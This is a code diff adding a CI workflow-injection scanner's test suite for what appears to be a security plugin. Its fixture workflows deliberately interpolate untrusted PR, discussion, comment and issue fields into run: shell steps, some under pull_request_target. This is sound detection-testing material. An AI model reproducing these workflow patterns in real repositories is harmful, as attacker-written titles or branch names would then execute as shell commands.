b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-numeric-field.yml @@ -0,0 +1,11 @@ +name: numeric-field run: (FP/INFO — character-set guarantees no shell metas) +on: + pull_request: + branches: [main] + +jobs: + log-pr-number: + runs-on: ubuntu-latest + steps: + - name: Echo PR number + run: echo "PR ${{ github.event.pull_request.number }}" diff --git a/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-block-scalar-run.yml b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-block-scalar-run.yml new file mode 100644 index 0000000..c54d2e0 --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-block-scalar-run.yml @@ -0,0 +1,14 @@ +name: multi-line run scalar (TP — block-scalar tracking) +on: + pull_request_target: + branches: [main] + +jobs: + log: + runs-on: ubuntu-latest + steps: + - name: Multi-line script + run: | + echo "Issue title:" + echo "${{ github.event.issue.body }}" + echo "----" diff --git a/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-discussion-title.yml b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-discussion-title.yml new file mode 100644 index 0000000..63c4066 --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-discussion-title.yml @@ -0,0 +1,11 @@ +name: discussion welcome (TP — gluestack CVE-2025-53104 pattern) +on: + discussion: + types: [created] + +jobs: + greet: + runs-on: ubuntu-latest + steps: + - name: Welcome + run: echo "New discussion: ${{ github.event.discussion.title }}" diff --git a/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-prtarget-head-ref.yml b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-prtarget-head-ref.yml new file mode 100644 index 0000000..67c48a4 --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-prtarget-head-ref.yml @@ -0,0 +1,11 @@ +name: pwn-request demo (TP) +on: + pull_request_target: + branches: [main] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Echo head ref + run: echo "Building branch ${{ github.head_ref }}" diff --git a/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-pull-request-comment.yml b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-pull-request-comment.yml new file mode 100644 index 0000000..6f77dd4 --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-pull-request-comment.yml @@ -0,0 +1,11 @@ +name: comment echo (TP — pull_request, MEDIUM) +on: + pull_request: + types: [opened, edited] + +jobs: + echo-comment: + runs-on: ubuntu-latest + steps: + - name: Echo body + run: echo "Comment said ${{ github.event.comment.body }}" diff --git a/plugins/llm-security/tests/lib/workflow-yaml-state.test.mjs b/plugins/llm-security/tests/lib/workflow-yaml-state.test.mjs new file mode 100644 index 0000000..c4559e0 --- /dev/null +++ b/plugins/llm-security/tests/lib/workflow-yaml-state.test.mjs @@ -0,0 +1,193 @@ +// workflow-yaml-state.test.mjs — unit tests for E11 line-based state machine. + +import { describe, it } from 'node:test'; +import assert from 'node:assert/strict'; + +const { parseWorkflow, extractTriggers } = await import('../../scanners/lib/workflow-yaml-state.mjs'); + +describe('extractTriggers', () => { + it('handles `on: push` (string form)', () => { + const t = extractTriggers(['on: push'.split('\n')[0]]); + assert.deepEqual([...t], ['push']); + }); + + it('handles `on: [push, pull_request]` (inline list)', () => { + const t = extractTriggers(['on: [push, pull_request_target]']); + assert.deepEqual([...t].sort(), ['pull_request_target', 'push']); + }); + + it('handles block list', () => { + const text = ['on:', ' - push', ' - pull_request']; + const t = extractTriggers(text); + assert.deepEqual([...t].sort(), ['pull_request', 'push']); + }); + + it('handles block mapping', () => { + const text = ['on:', ' pull_request_target:', ' branches: [main]', ' discussion:', 'jobs:']; + const t = extractTriggers(text); + assert.ok(t.has('pull_request_target')); + assert.ok(t.has('discussion')); + }); + + it('returns empty set when no `on:` block found', () => { + const t = extractTriggers(['name: hello', 'jobs:', ' build:', ' runs-on: ubuntu-latest']); + assert.equal(t.size, 0); + }); +}); + +describe('parseWorkflow — single-line run:', () => { + it('emits a run-context event for ${{ ... }} in inline run:', () => { + const yml = [ + 'on: pull_request_target', + 'jobs:', + ' j:', + ' steps:', + ' - name: echo', + ' run: echo "${{ github.head_ref }}"', + ].join('\n'); + const { events } = parseWorkflow(yml); + const runs = events.filter(e => e.parent === 'run'); + assert.equal(runs.length, 1); + assert.equal(runs[0].expr, 'github.head_ref'); + assert.equal(runs[0].blockScalar, false); + }); + + it('emits an if-context event (parent === "if") for if: expression', () => { + const yml = [ + 'on: pull_request_target', + 'jobs:', + ' j:', + ' if: ${{ startsWith(github.head_ref, "release/") }}', + ' runs-on: ubuntu-latest', + ].join('\n'); + const { events } = parseWorkflow(yml); + const ifs = events.filter(e => e.parent === 'if'); + assert.ok(ifs.length >= 1); + assert.ok(ifs[0].expr.startsWith('startsWith')); + }); +}); + +describe('parseWorkflow — block scalars', () => { + it('tracks `run: |` body lines as run-context with blockScalar=true', () => { + const yml = [ + 'on: pull_request_target', + 'jobs:', + ' j:', + ' steps:', + ' - name: multi', + ' run: |', + ' echo "Issue title:"', + ' echo "${{ github.event.issue.body }}"', + ' echo done', + ].join('\n'); + const { events } = parseWorkflow(yml); + const runs = events.filter(e => e.parent === 'run'); + assert.equal(runs.length, 1); + assert.equal(runs[0].expr, 'github.event.issue.body'); + assert.equal(runs[0].blockScalar, true); + assert.equal(runs[0].line, 8); + }); + + it('tracks `run: >` (folded scalar) the same way', () => { + const yml = [ + 'on: pull_request', + 'jobs:', + ' j:', + ' steps:', + ' - name: folded', + ' run: >', + ' echo ${{ github.event.pull_request.title }}', + ].join('\n'); + const { events } = parseWorkflow(yml); + assert.ok(events.find(e => e.parent === 'run' && e.blockScalar)); + }); +}); + +describe('parseWorkflow — sink-mismatch contexts', () => { + it('parent === "env" for top-level env: mapping with ${{ ... }}', () => { + const yml = [ + 'on: pull_request_target', + 'env:', + ' PR_TITLE: ${{ github.event.pull_request.title }}', + 'jobs:', + ' j:', + ' runs-on: ubuntu-latest', + ].join('\n'); + const { events } = parseWorkflow(yml); + const envEvts = events.filter(e => e.parent === 'PR_TITLE'); + assert.equal(envEvts.length, 1); + assert.ok(envEvts[0].parentChain.includes('env')); + }); + + it('parent === "with" for action input', () => { + const yml = [ + 'on: pull_request', + 'jobs:', + ' j:', + ' steps:', + ' - uses: actions/checkout@v4', + ' with:', + ' ref: ${{ github.head_ref }}', + ].join('\n'); + const { events } = parseWorkflow(yml); + const withEvts = events.filter(e => e.parent === 'ref'); + assert.equal(withEvts.length, 1); + assert.ok(withEvts[0].parentChain.includes('with')); + }); +}); + +describe('parseWorkflow — no-op cases', () => { + it('returns empty events for workflow with no expressions', () => { + const yml = [ + 'on: push', + 'jobs:', + ' j:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: echo hello', + ].join('\n'); + const { events } = parseWorkflow(yml); + assert.equal(events.length, 0); + }); + + it('strips comments before parsing', () => { + const yml = [ + 'on: push', + '# comment ${{ github.head_ref }} should be ignored', + 'jobs:', + ' j:', + ' runs-on: ubuntu-latest', + ].join('\n'); + const { events } = parseWorkflow(yml); + assert.equal(events.length, 0); + }); + + it('handles multiple ${{ ... }} on a single line', () => { + const yml = [ + 'on: pull_request_target', + 'jobs:', + ' j:', + ' steps:', + ' - run: echo "${{ github.head_ref }} and ${{ github.event.pull_request.title }}"', + ].join('\n'); + const { events } = parseWorkflow(yml); + const runs = events.filter(e => e.parent === 'run'); + assert.equal(runs.length, 2); + }); +}); + +describe('parseWorkflow — line-number accuracy', () => { + it('reports correct line for inline run:', () => { + const yml = [ + 'name: x', + 'on: push', + '', + 'jobs:', + ' j:', + ' steps:', + ' - run: echo "${{ github.head_ref }}"', + ].join('\n'); + const { events } = parseWorkflow(yml); + assert.equal(events[0].line, 7); + }); +}); diff --git a/plugins/llm-security/tests/scanners/workflow-scanner.test.mjs b/plugins/llm-security/tests/scanners/workflow-scanner.test.mjs new file mode 100644 index 0000000..5172a05 --- /dev/null +++ b/plugins/llm-security/tests/scanners/workflow-scanner.test.mjs @@ -0,0 +1,148 @@ +// workflow-scanner.test.mjs — E11 integration tests against fixtures +// in tests/fixtures/workflows/.{github,forgejo}/workflows/. + +import { describe, it, before } from 'node:test'; +import assert from 'node:assert/strict'; +import { resolve } from 'node:path'; +import { resetCounter } from '../../scanners/lib/output.mjs'; + +const { scan, discoverWorkflows } = await import('../../scanners/workflow-scanner.mjs'); + +const FIXTURE_DIR = resolve(import.meta.dirname, '../fixtures/workflows'); + +function findingsByFile(findings, fileSubstr) { + return findings.filter(f => (f.file || '').includes(fileSubstr)); +} + +describe('workflow-scanner — discoverWorkflows', () => { + it('finds .yml files in .github/workflows/ and .forgejo/workflows/', async () => { + const files = await discoverWorkflows(FIXTURE_DIR); + const githubCount = files.filter(f => f.includes('/.github/workflows/')).length; + const forgejoCount = files.filter(f => f.includes('/.forgejo/workflows/')).length; + assert.ok(githubCount >= 5, `expected ≥5 GitHub fixtures, got ${githubCount}`); + assert.ok(forgejoCount >= 2, `expected ≥2 Forgejo fixtures, got ${forgejoCount}`); + }); + + it('returns empty array for path with no workflow dirs', async () => { + const files = await discoverWorkflows('/tmp'); + assert.deepEqual(files, []); + }); +}); + +describe('workflow-scanner — true-positive cases', () => { + let result; + before(async () => { + resetCounter(); + result = await scan(FIXTURE_DIR); + }); + + it('flags github.head_ref under pull_request_target as HIGH', () => { + const fs = findingsByFile(result.findings, 'tp-prtarget-head-ref.yml'); + assert.equal(fs.length, 1); + assert.equal(fs[0].severity, 'high'); + assert.match(fs[0].evidence, /github\.head_ref/); + }); + + it('flags discussion.title under discussion as HIGH (gluestack CVE pattern)', () => { + const fs = findingsByFile(result.findings, 'tp-discussion-title.yml'); + assert.equal(fs.length, 1); + assert.equal(fs[0].severity, 'high'); + assert.match(fs[0].evidence, /discussion\.title/); + }); + + it('flags comment.body under pull_request as MEDIUM', () => { + const fs = findingsByFile(result.findings, 'tp-pull-request-comment.yml'); + assert.equal(fs.length, 1); + assert.equal(fs[0].severity, 'medium'); + assert.match(fs[0].evidence, /comment\.body/); + }); + + it('flags issue.body inside `run: |` block-scalar as HIGH', () => { + const fs = findingsByFile(result.findings, 'tp-block-scalar-run.yml'); + assert.equal(fs.length, 1); + assert.equal(fs[0].severity, 'high'); + assert.match(fs[0].evidence, /issue\.body/); + }); +}); + +describe('workflow-scanner — false-positive suppression', () => { + let result; + before(async () => { + resetCounter(); + result = await scan(FIXTURE_DIR); + }); + + it('does NOT flag head_ref inside `if:` (sink mismatch)', () => { + const fs = findingsByFile(result.findings, 'fp-if-context.yml'); + assert.equal(fs.length, 0, `expected no findings, got: ${JSON.stringify(fs)}`); + }); + + it('does NOT flag pull_request.title inside top-level `env:` mapping', () => { + const fs = findingsByFile(result.findings, 'fp-env-block.yml'); + assert.equal(fs.length, 0); + }); +}); + +describe('workflow-scanner — INFO classification', () => { + let result; + before(async () => { + resetCounter(); + result = await scan(FIXTURE_DIR); + }); + + it('reports github.event.pull_request.number as INFO (numeric/safe)', () => { + const fs = findingsByFile(result.findings, 'fp-numeric-field.yml'); + assert.equal(fs.length, 1); + assert.equal(fs[0].severity, 'info'); + }); +}); + +describe('workflow-scanner — Forgejo platform', () => { + let result; + before(async () => { + resetCounter(); + result = await scan(FIXTURE_DIR); + }); + + it('flags forgejo.head_ref under pull_request as MEDIUM', () => { + const fs = findingsByFile(result.findings, 'forgejo-tp.yml'); + assert.equal(fs.length, 1); + assert.equal(fs[0].severity, 'medium'); + assert.match(fs[0].file, /\.forgejo\/workflows\//); + assert.match(fs[0].recommendation, /Forgejo/); + }); + + it('treats workflow_run as privileged on Forgejo (HIGH severity preserved)', () => { + const fs = findingsByFile(result.findings, 'forgejo-workflow-run.yml'); + assert.equal(fs.length, 1); + assert.equal(fs[0].severity, 'high'); + }); +}); + +describe('workflow-scanner — output envelope', () => { + it('returns scannerResult with status=ok and counts', async () => { + resetCounter(); + const r = await scan(FIXTURE_DIR); + assert.equal(r.status, 'ok'); + assert.equal(r.scanner, 'workflow'); + assert.ok(r.files_scanned >= 7); + assert.ok(typeof r.duration_ms === 'number'); + assert.ok(r.counts.high + r.counts.medium + r.counts.info >= 7); + }); + + it('emits findings with WFL scanner prefix in id', async () => { + resetCounter(); + const r = await scan(FIXTURE_DIR); + for (const f of r.findings) { + assert.match(f.id, /^DS-WFL-\d{3}$/); + assert.equal(f.scanner, 'WFL'); + } + }); + + it('returns ok with no findings on empty target', async () => { + resetCounter(); + const r = await scan('/tmp'); + assert.equal(r.status, 'ok'); + assert.equal(r.findings.length, 0); + }); +});